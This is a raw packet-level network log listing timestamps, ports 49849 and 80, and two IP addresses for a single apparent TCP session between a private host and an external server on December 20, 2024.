Dec 20, 2024 21:13:15.974595070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.974669933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.974714041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.975435972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.975481033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.975543022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.975581884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.976329088 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.976377964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.976414919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.976452112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.977209091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.977251053 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.977310896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.977349043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.978027105 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.978074074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.978121996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.978163004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.978959084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.979015112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.979144096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.979195118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.979844093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.979890108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.979970932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.980014086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.980668068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.980726004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.980752945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.980798006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.981542110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.981591940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.981630087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.981676102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.982398033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.982451916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.982547998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.982595921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.983273983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.983329058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.983369112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.983417034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.984165907 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.984219074 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.984271049 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.984314919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.985088110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.985131979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.985151052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.985193968 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.986052990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.986062050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.986113071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.986749887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.986799955 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.986871958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.986912966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.987629890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.987678051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.987744093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.987782001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.988547087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.988609076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.988627911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.988661051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.989473104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.989484072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.989518881 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.990248919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.990288019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.990338087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.990375996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.991218090 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.991230965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.991260052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.991278887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.991991997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.992039919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.992084026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.992122889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.992834091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.992877960 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.992925882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.992973089 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.993726969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.993772984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.993901014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.993940115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.994646072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.994690895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.994698048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.994730949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.995479107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.995522976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.995692968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.995738029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.996385098 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.996438026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.996474028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.996509075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.997215033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.997258902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.997320890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.997363091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.998086929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.998126030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.998138905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.998179913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.998935938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.998982906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.999053001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.999094009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:15.999869108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:15.999921083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.000116110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.000168085 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.000674009 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.000716925 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.147114992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.147155046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.147169113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.147207022 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.147449970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.147495985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.147531986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.147573948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.148310900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.148355007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.148427010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.148463964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.149281025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.149293900 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.149327040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.149342060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.150074005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.150114059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.150145054 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.150182962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.150964975 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.151005030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.151074886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.151113987 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.151767015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.151808023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.151875019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.151915073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.152647972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.152688026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.152726889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.152766943 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.153598070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.153640985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.153649092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.153690100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.154403925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.154441118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.154526949 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.154565096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.155297041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.155333996 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.155456066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.155493975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.156214952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.156256914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.156369925 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.156407118 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.156992912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.157032967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.157110929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.157149076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.157871008 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.157905102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.157984018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.158024073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.158724070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.158768892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.158802032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.158839941 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.159632921 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.159676075 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.159717083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.159758091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.160480976 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.160545111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.160599947 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.160693884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.161389112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.161429882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.161550045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.161592007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.162239075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.162276030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.162353992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.162389994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.163099051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.163137913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.163280964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.163321018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.164062977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.164108992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.164129972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.164164066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.164890051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.164908886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.164928913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.164942980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.165712118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.165750027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.165788889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.165832043 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.166589022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.166624069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.166661978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.166703939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.167571068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.167582989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.167613983 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.167640924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.168318033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.168356895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.168436050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.168481112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.169214964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.169259071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.169337988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.170059919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.170094967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.170173883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.170176029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.170217037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.170972109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.171013117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.171103954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.171143055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.171895981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.171907902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.171936035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.171951056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.172651052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.172703028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.172775030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.172812939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.173544884 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.173585892 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.173649073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.173691034 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.174545050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.174586058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.174618006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.174658060 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.175353050 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.175391912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.175527096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.175565958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.176266909 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.176311016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.176387072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.176425934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.177180052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.177222967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.177258968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.177298069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.177979946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.178025007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.178148985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.178217888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.178745031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.178785086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.178852081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.178889036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.179645061 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.179692030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.179889917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.179944992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.180511951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.180561066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.180651903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.180696011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.181397915 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.181438923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.181483030 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.181528091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.182276011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.182313919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.182420015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.182456970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.183139086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.183177948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.183257103 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.183296919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.184114933 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.184161901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.184221029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.184263945 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.184871912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.184911013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.184962988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.185000896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.185728073 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.185771942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.185843945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.185882092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.186605930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.186646938 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.186749935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.186789989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.187475920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.187515974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.187659025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.187697887 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.188436031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.188476086 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.188477993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.188513994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.189294100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.189342976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.189357996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.189398050 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.190099955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.190148115 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.190202951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.190244913 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.191019058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.191065073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.191168070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.191207886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.191874981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.191922903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.192650080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.192663908 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.192706108 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.339198112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.339243889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.339246988 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.339282990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.339566946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.339608908 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:16.339690924 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:16.339735985 CET	49849	80	192.168.2.6	31.41.244.11
